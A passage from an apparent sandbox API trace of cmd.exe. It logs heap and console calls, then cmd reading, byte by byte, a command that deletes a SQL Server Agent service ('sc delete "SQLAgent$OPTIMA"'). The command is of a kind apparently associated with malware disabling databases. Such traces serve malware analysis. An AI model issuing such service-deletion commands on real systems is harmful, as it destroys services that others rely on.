(hObject=0x50) returned 1 [0077.254] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0077.254] GetProcessHeap () returned 0x240000 [0077.254] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0077.255] GetEnvironmentStringsW () returned 0x25ba10* [0077.255] GetProcessHeap () returned 0x240000 [0077.255] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0077.255] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0077.255] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0077.255] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdb000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0077.255] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0077.300] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0077.300] CloseHandle (hObject=0x54) returned 1 [0077.300] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0077.300] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0077.300] GetProcessHeap () returned 0x240000 [0077.300] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | out: hHeap=0x240000) returned 1 [0077.300] GetEnvironmentStringsW () returned 0x261b10* [0077.300] GetProcessHeap () returned 0x240000 [0077.300] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0077.300] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0077.300] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0077.300] GetProcessHeap () returned 0x240000 [0077.300] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0077.300] GetEnvironmentStringsW () returned 0x25ba10* [0077.300] GetProcessHeap () returned 0x240000 [0077.300] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0077.300] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0077.300] GetProcessHeap () returned 0x240000 [0077.300] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0077.300] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0077.300] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0077.301] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.301] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0077.301] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.301] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0077.301] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.301] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0077.301] GetConsoleOutputCP () returned 0x1b5 [0077.302] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0077.302] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.302] GetProcessHeap () returned 0x240000 [0077.302] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2597e0 | out: hHeap=0x240000) returned 1 [0077.302] GetProcessHeap () returned 0x240000 [0077.302] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0077.302] GetProcessHeap () returned 0x240000 [0077.302] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0077.302] GetProcessHeap () returned 0x240000 [0077.302] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c530 | out: hHeap=0x240000) returned 1 [0077.302] GetProcessHeap () returned 0x240000 [0077.302] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0077.302] GetProcessHeap () returned 0x240000 [0077.302] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0077.302] GetProcessHeap () returned 0x240000 [0077.302] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa40 | out: hHeap=0x240000) returned 1 [0077.302] GetProcessHeap () returned 0x240000 [0077.302] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0077.302] GetProcessHeap () returned 0x240000 [0077.302] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0077.302] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0077.302] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.302] GetFileType (hFile=0x120) returned 0x3 [0077.302] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.302] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0077.302] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0077.302] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0077.303] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0077.303] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0077.303] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0077.303] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.303] GetFileType (hFile=0x120) returned 0x3 [0077.303] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.303] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0077.303] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0077.303] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.303] GetFileType (hFile=0xb8) returned 0x3 [0077.303] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.303] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.303] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.303] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"SQLAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0077.303] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.303] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.303] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.303] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete \"SQLAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0077.303] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.303] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.304] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.304] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete \"SQLAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0077.304] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.304] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.304] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.304] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete \"SQLAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0077.304] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.304] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.304] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.304] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete \"SQLAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0077.304] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.304] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.304] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.304] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete \"SQLAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0077.304] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.304] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.304] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.304] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete \"SQLAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0077.304] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.304] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.304] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.304] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te \"SQLAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0077.304] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.304] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.304] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.305] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e \"SQLAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0077.305] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.305] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.305] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.305] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" \"SQLAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0077.305] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.305] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.305] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.305] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="\"SQLAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0077.305] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.305] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.305] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.305] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="RQLAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0077.305] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.305] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.305] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.305] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="eLAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0077.305] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.305] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.305] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.305] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="pAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0077.305] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.305] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.305] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.306] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="ogent$OPTIMA\"\nPTIMA\"\n") returned 1 [0077.306] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.306] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.306] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.306] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="rent$OPTIMA\"\nPTIMA\"\n") returned 1 [0077.306] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.306] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.306] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.306] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="tnt$OPTIMA\"\nPTIMA\"\n") returned 1 [0077.306] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.306] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.306] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.306] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="St$OPTIMA\"\nPTIMA\"\n") returned 1 [0077.306] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.306] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.306] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.306] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="e$OPTIMA\"\nPTIMA\"\n") returned 1 [0077.306] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.306] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.306] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.306] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="rOPTIMA\"\nPTIMA\"\n") returned 1 [0077.306] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.306] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.306] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.307] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="vPTIMA\"\nPTIMA\"\n") returned 1 [0077.307] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.307] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.307] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.307] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="eTIMA\"\nPTIMA\"\n") returned 1 [0077.307] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.307] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.307] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.307] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34c, cchWideChar=1 | out: lpWideCharStr="rIMA\"\nPTIMA\"\n") returned 1 [0077.307] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.307] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.307] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.307] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34e, cchWideChar=1 | out: lpWideCharStr="$MA\"\nPTIMA\"\n") returned 1 [0077.307] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.307] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.307] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.307] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e350, cchWideChar=1 | out: lpWideCharStr="OA\"\nPTIMA\"\n") returned 1 [0077.307] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.307] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.307] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.307] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e352, cchWideChar=1 | out: lpWideCharStr="P\"\nPTIMA\"\n") returned 1 [0077.307] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.307] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.308] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: 